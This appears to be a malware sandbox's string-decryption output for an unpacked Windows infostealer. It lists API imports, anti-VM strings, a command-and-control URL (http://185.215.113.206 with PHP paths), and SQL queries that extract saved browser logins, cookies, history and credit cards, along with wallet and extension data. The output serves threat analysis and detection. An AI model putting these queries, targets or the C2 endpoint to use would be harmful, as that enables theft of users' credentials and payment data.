Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GetComputerNameA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: lstrcpyA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GetProcessHeap
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GetCurrentProcess
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: lstrlenA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: ExitProcess
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GetSystemTime
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: advapi32.dll
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: gdi32.dll
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: user32.dll
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: crypt32.dll
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GetUserNameA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: CreateDCA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GetDeviceCaps
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: ReleaseDC
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: sscanf
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: VMwareVMware
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: HAL9TH
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: JohnDoe
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: DISPLAY
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: http://185.215.113.206
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: /c4becf79229cb002.php
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: /68b591d6548ec281/
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: stok
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GetFileAttributesA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: HeapFree
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GetFileSize
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GlobalSize
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: IsWow64Process
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: Process32Next
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GetLocalTime
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: FreeLibrary
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GetVolumeInformationA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: Process32First
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GetLocaleInfoA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GetModuleFileNameA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: DeleteFileA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: FindNextFileA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: LocalFree
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: FindClose
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: LocalAlloc
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GetFileSizeEx
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: ReadFile
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: SetFilePointer
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: WriteFile
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: CreateFileA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: FindFirstFileA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: CopyFileA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: VirtualProtect
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GetLastError
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: lstrcpynA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: MultiByteToWideChar
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GlobalFree
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: WideCharToMultiByte
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GlobalAlloc
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: OpenProcess
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: TerminateProcess
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GetCurrentProcessId
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: gdiplus.dll
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: ole32.dll
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: bcrypt.dll
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: wininet.dll
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: shlwapi.dll
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: shell32.dll
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: rstrtmgr.dll
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: SelectObject
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: BitBlt
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: DeleteObject
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: CreateCompatibleDC
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GdiplusStartup
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GdiplusShutdown
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GdipDisposeImage
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GdipFree
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: CoUninitialize
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: CoInitialize
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: CoCreateInstance
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: BCryptDecrypt
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: BCryptSetProperty
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: BCryptDestroyKey
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GetWindowRect
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GetDesktopWindow
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GetDC
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: CloseWindow
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: wsprintfA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: CharToOemW
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: wsprintfW
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: RegQueryValueExA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: RegEnumKeyExA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: RegOpenKeyExA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: RegCloseKey
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: RegEnumValueA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: CryptUnprotectData
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: SHGetFolderPathA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: ShellExecuteExA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: InternetOpenUrlA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: InternetConnectA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: InternetCloseHandle
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: HttpSendRequestA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: HttpOpenRequestA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: InternetReadFile
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: InternetCrackUrlA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: StrCmpCA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: StrStrA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: StrCmpCW
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: PathMatchSpecA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: RmStartSession
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: RmRegisterResources
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: RmGetList
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: RmEndSession
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: sqlite3_open
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: sqlite3_step
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: sqlite3_column_text
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: sqlite3_finalize
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: sqlite3_close
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: sqlite3_column_blob
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: encrypted_key
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: PATH
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: NSS_Init
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: NSS_Shutdown
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: PK11_FreeSlot
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: PK11_Authenticate
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: C:\ProgramData\
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: browser:
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: profile:
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: url:
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: login:
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: password:
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: Opera
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: OperaGX
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: Network
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: cookies
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: .txt
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: TRUE
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: FALSE
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: autofill
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: history
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: cc
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: name:
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: month:
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: year:
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: card:
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: Cookies
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: Login Data
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: Web Data
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: History
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: logins.json
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: formSubmitURL
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: usernameField
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: encryptedUsername
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: encryptedPassword
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: guid
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: cookies.sqlite
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: formhistory.sqlite
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: places.sqlite
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: plugins
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: Local Extension Settings
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: Sync Extension Settings
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: IndexedDB
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: Opera Stable
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: Opera GX Stable
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: CURRENT
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: chrome-extension_
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: Local State
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: profiles.ini
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: chrome
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: opera
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: firefox
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: wallets
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: ProductName
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: x32
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: x64
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: DisplayName
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: DisplayVersion
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: Network Info:
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: - IP: IP?
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: - Country: ISO?
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: System Summary:
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: - HWID:
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: - OS:
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: - Architecture:
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: - UserName:
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: - Computer Name:
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: - Local Time:
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: - UTC:
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: - Language:
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: - Keyboards:
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: - Laptop:
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: - Running Path:
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: - CPU:
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: - Threads:
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: - Cores:
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: - RAM:
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: - Display Resolution:
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: - GPU:
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: User Agents:
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: Installed Apps:
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: All Users:
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: Current User:
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: Process List:
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: system_info.txt
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: freebl3.dll
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: mozglue.dll
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: msvcp140.dll
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: nss3.dll
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: softokn3.dll
